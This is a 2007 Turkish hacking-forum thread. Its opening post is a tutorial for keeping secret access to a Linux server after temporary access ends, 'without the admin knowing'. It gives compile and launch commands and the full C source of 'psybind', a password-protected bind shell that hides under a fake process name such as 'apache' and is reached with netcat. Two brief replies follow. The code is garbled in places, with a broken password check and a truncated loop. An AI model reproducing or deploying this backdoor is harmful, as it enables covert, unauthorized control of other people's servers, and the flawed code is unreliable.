Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi

Anasayfa Forumlar Yeni Mesajlar Bugünün Mesajları Üye Ol
Geri git   Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi > Hacking Center > Web-Domain Hacking
Sayfaya güncelle Shell hesabınız yokmu l kendiniz yaratın
Web-Domain Hacking Web-domain hack ile ilgili sorularınız,yöntemler.

Konu Bilgileri
Konu Başlığı
Shell hesabınız yokmu l kendiniz yaratın
Konudaki Cevap Sayısı
2
Şuan Bu Konuyu Görüntüleyenler
 
Görüntülenme Sayısı
148
Cevapla
 
Seçenekler Stil
Shell hesabınız yokmu l kendiniz yaratın
Alt
  (#1)
OnDeR is Offline
[10]Yeni Üye
OnDeR has a spectacular aura aboutOnDeR has a spectacular aura about
 
OnDeR - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 66
>Açtığı Konu: 11

Level: 7 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 150
Güç: 22 / 597
Tecrübe: 2%

Üyelik tarihi: Apr 2007
Kullanıcı No: 1374
Nerden: Ölüler Şehri
Yaş: 20
Rep Puani: 166
Rep Derecesi : OnDeR has a spectacular aura aboutOnDeR has a spectacular aura about
   
Standart Shell hesabınız yokmu l kendiniz yaratın - 06-23-2007



S.a starhack ailesi

Herhangi bir linux servera erişiminiz olduğunu ve bu erişimin süre ile kısıtlı olduğunu
düşünün... Bu public bir shell sunucusu olabileceği gibi, arkadaşınızın, ya da bir şekilde
bağlantı sağlayabildiniz bir sunucu olduğunu ve bu sunucuya tekrar adminin haberi olmadan
erişmek istediğinizi düşünün ...

Tabii ki sunucuya bir backdoor kurarsınız... Ancak bu backdoorun oldukça gelişmiş ve
kendini saklayabilen bir backdoor olması gerekmekte. Ve de sizin çözümünüz Psuedo

Öncelikle dosyamızı ekten indirin ve backdoor açmak istediğiniz sunucuya aktarın.
Ve ardından aşağıdaki adımları izleyin:

1- gcc - o psybind psybind.c komutu ile dosyayı compile edin.
2- ./psybind -s /bin/sh -c apache -r /home -w sifre -p 7654
Buradaki apache görünecek process ismi(bunu top komutu ile çalışan processleri listeleyip
istediğinizi seçerekte yapabilirsiniz), /bin/sh shell pathi, /home başlangıç klasoru, -w
tabiiki şifre ve 7654 te bağlantı portu.

./psybind yazarak paramterlereleri görebilirsiniz.

3- Kendi bilgisayarınızdan ayarladığınız port ile sunucuya bağlantı kurun ve
keyfinize bakın


. .
. RST/GHC Pseudo Bind Shell [ psybind.c ] .
. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= .
. [v 1.0.0] .

[Compiling]:
$ gcc -o psybind psybind.c

[Usage]:
$ ./psybind <options>

[Option] [Default] [Description]
-p [7654] Port number
-w [rstghc] Set password
-r [/] Start path
-c [[HTTP]] Fake process name
-s [/bin/bash] Shell(program) path
-h This screen

[Example]:
. Run in Remote Host: .
. $ ./psybind -s /bin/sh -c girl -r /home -w 123 -p 31337 .
. .
. To connect with remote computer: .
o $ nc 127.0.0.1 31337 o
o o
O Code by Dr_UF0_51 (civufo[at]mail.ru) O
O Good luck O
O O o o . . . . . . . . o o O O
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include <termios.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <strings.h>
#include <signal.h>
#include <wait.h>
#include <string.h>

#define BUFSIZE 1024

void usage(void);
void waitpd(int);

char motd[] = "\\\\nWelcome to RST/GHC - Pseudo Bind Shell\\\\n\\\\n";

int main(int arg, char **param)
{
int sd, nread, datas, td, i, dn, pid;
int sins = 0x10; // Size
int ptym, ptyn;

struct sockaddr_in saddrs;
struct sockaddr_in saddrd;
struct termios terms;

fd_set fds;
char *buffer[BUFSIZE];
char *password[255], c;

int port = 7654; // Port number
char pass[255] = "rstghc"; // Password
char path[255] = "/"; // Start path
char cmdname[255] = "[HTTP]"; // Fake process name
char shell[255] = "/bin/bash"; // Program [shell]

/* Arguments */
while(( c = getopt(arg, param, "p:w:c:r:s:h")) > 0)
switch(c)
{
case ’p’:
port = atoi(optarg);
break;
case ’w’:
strncpy(pass, optarg, 255);
break;
case ’c’:
strncpy(cmdname, optarg, 255);
break;
case ’r’:
strncpy(path, optarg, 255);
break;
case ’s’:
strncpy(shell, optarg, 255);
break;
case ’h’:
usage();
exit(0);
break;
}

/* Port check */
if( port > 65535 | port < 1)
{
fprintf(stderr, "Error: Ports must be > 0 and < 65535\\\\n");
exit(1);
}

/* Creat Socket struct */
bzero(&saddrs, sizeof(saddrs));
saddrs.sin_family = AF_INET;
saddrs.sin_port = htons(port);
saddrs.sin_addr.s_addr = INADDR_ANY;

/* Creat Socket */
if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
{
fprintf(stderr, "Error[%d]: Creat Socket Failed\\\\n", errno);
exit(2);
}

/* Bind Port */
if( bind(sd, (struct sockaddr *)&saddrs, sizeof(saddrs)) < 0)
{
fprintf(stderr, "Error[%d]: Bind Port Failed\\\\n", errno);
close(sd);
exit(3);
}

/* Listen Port */
if( listen(sd, 5) < 0) // Max active connections = 5
{
fprintf(stderr, "Error[%d]: Listen Port Failed\\\\n", errno);
close(sd);
exit(4);
}

/* PID */
if((pid = fork()) != 0)
{
printf("Shell Started.. [pid = %d] Good luck \\\\n", pid) ;
exit(0);
}

chdir(path); // Path
setsid(); // Run in a new session
signal(SIGCHLD, waitpd); // Waitpid

/* Wait Data */
for(;
{
if(( datas = accept(sd, (struct sockaddr *)&saddrd, &sins)) > 0) // If data accepted, start
if((pid = fork()) < 0)
continue;
else if(pid == 0)
{

/* Open Pseudo - Terminal Master*/
if(( ptym = getpt()) < 0)
{
fprintf(stderr, "Error[%d]: Can’t Open Pseudo - Terminal Master\\\\n", errno);
exit(5);
}

/* Unlock Slave Pseudo Terminal */
if( unlockpt(ptym) < 0 )
{
fprintf(stderr, "Error[%d]: Can’t Unlock Slave Pseudo Terminal\\\\n", errno);
exit(6);
}

/* Process Group Id*/
if(setpgid(0, 0) < 0)
{
fprintf(stderr, "Error[%d]: Setpgid Failed\\\\n", errno);
exit(8);
}

ptyn = ptsname(ptym); // Name of the slave pseudo-terminal
tcgetattr(0, &terms); // Sandart input

/* Open terminal */
if(( td = open((char *)ptyn, O_RDWR)) < 0)
{
fprintf(stderr, "Error[%d]: Can’t Open Terminal Name\\\\n", errno);
exit(7);
}

/* Fork */
if( fork() == 0)
{
if(setsid() < 0)
{
fprintf(stderr, "Error[%d]: setsid Failed\\\\n", errno);
exit(6);
}

tcsetattr(td, TCSANOW, &terms); // Set parametr now

write(td, "Password: ", 10);
read(td, password, sizeof(password));

dup2(td, 0);
dup2(td, 1);
dup2(td, 2);

/* Check password */
if(!chpass(password, pass))
{
write(td, motd, strlen(motd));
close(td);
execl( shell, cmdname, 0); // Exec shell
}
close(td);
}

close(td);

for(;
{
FD_ZERO(&fds);
FD_SET(datas, &fds); // Set datas for select
FD_SET(ptym, &fds); // Set ptym for select

if((i = select( ptym + 1, &fds, NULL, NULL, NULL)) <= 0)// Wait data for select descriptor
break;

if(FD_ISSET(datas, &fds)) // If socket
{
bzero(buffer, sizeof(buffer));
if(( nread = read (datas, buffer, BUFSIZE)) <= 0)
break;
if( write(ptym, buffer, nread) <= 0)
break;
}

if(FD_ISSET(ptym, &fds)) // If pty
{
bzero(buffer, sizeof(buffer));
if(( nread = read ( ptym, buffer, BUFSIZE)) <= 0)
break;
if(write(datas, buffer, nread) <= 0)
break;
}
}
close(datas);
close(ptym);
exit(0);
} // fork
close(datas);
} // for
}

/** Waitpid (f**king zombie **/
void waitpd(int i)
{
waitpid(-1, NULL, WNOHANG);
}

/** Usage **/
void usage(void)
{
printf("\\\\n\\\\t RST/GHC Pseudo Bind Shell");
printf("\\\\t =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=\\\\n");
printf("\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t\\\\tby Dr_UF0_51\\\\n\\\\n");
printf("Usage: ./psybind <options>\\\\n");
printf("\\\\t-p [7654] Port number\\\\n");
printf("\\\\t-w [rstghc] Set password\\\\n");
printf("\\\\t-r [/] Start path\\\\n");
printf("\\\\t-c [[HTTP]] Fake process name\\\\n");
printf("\\\\t-s [/bin/bash] Shell(program) path\\\\n");
printf("\\\\t-h This screen\\\\n");
}

/** Check Password **/
int chpass(char *str1, char *str2)
{
int i, s1 = 0, k = 1;

if(str1[strlen(str1) - 1] = 0x0d) k++; // if telnet
for(i = 0; i < strlen(str1) - k; i++)
if( str1 != str2 )
{
s1 = 1;
break;
}
if( strlen(str1) == k ) s1 = 1; // If ENTER pressed

return(s1);
}



Alıntıdır..
  
Alıntı ile Cevapla

Cevap: Shell hesabınız yokmu l kendiniz yaratın
Alt
  (#2)
possy021
 
possy021 - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: n/a
>Açtığı Konu: 5594

Level: -INF [♥ Bé-Yêu ♥]
Paylaşım: NAN / -INF
Güç: -INF / -INF
Tecrübe: NAN%

   
Standart Cevap: Shell hesabınız yokmu l kendiniz yaratın - 06-24-2007



kardes sen ne yaptinnn ya
  
Alıntı ile Cevapla
Cevap: Shell hesabınız yokmu l kendiniz yaratın
Alt
  (#3)
OnDeR is Offline
[10]Yeni Üye
OnDeR has a spectacular aura aboutOnDeR has a spectacular aura about
 
OnDeR - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 66
>Açtığı Konu: 11

Level: 7 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 150
Güç: 22 / 597
Tecrübe: 2%

Üyelik tarihi: Apr 2007
Kullanıcı No: 1374
Nerden: Ölüler Şehri
Yaş: 20
Rep Puani: 166
Rep Derecesi : OnDeR has a spectacular aura aboutOnDeR has a spectacular aura about
   
Standart Cevap: Shell hesabınız yokmu l kendiniz yaratın - 06-25-2007



size shell hesabı açındiye tıo verdim
  
Alıntı ile Cevapla
Cevapla

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil

Yetkileriniz
Yeni Mesaj yazma yetkiniz aktif değil dir.
Mesajlara Cevap verme yetkiniz aktif değil dir.
Eklenti ekleme yetkiniz aktif değil dir.
Kendi Mesajınızı değiştirme yetkiniz aktif değil dir.

Smileler Açık
[IMG] Kodları Açık
HTML-KodlarıKapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı


Bütün Zaman Ayarları WEZ +3 olarak düzenlenmiştir. Şu Anki Saat: 03:44 AM .


Powered by Jelsoft Enterprises Ltd.
Content Relevant URLs by 3.0.0

Copyright ©2008 StarHackz.Com All Legal Reserved.
Since 2004


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550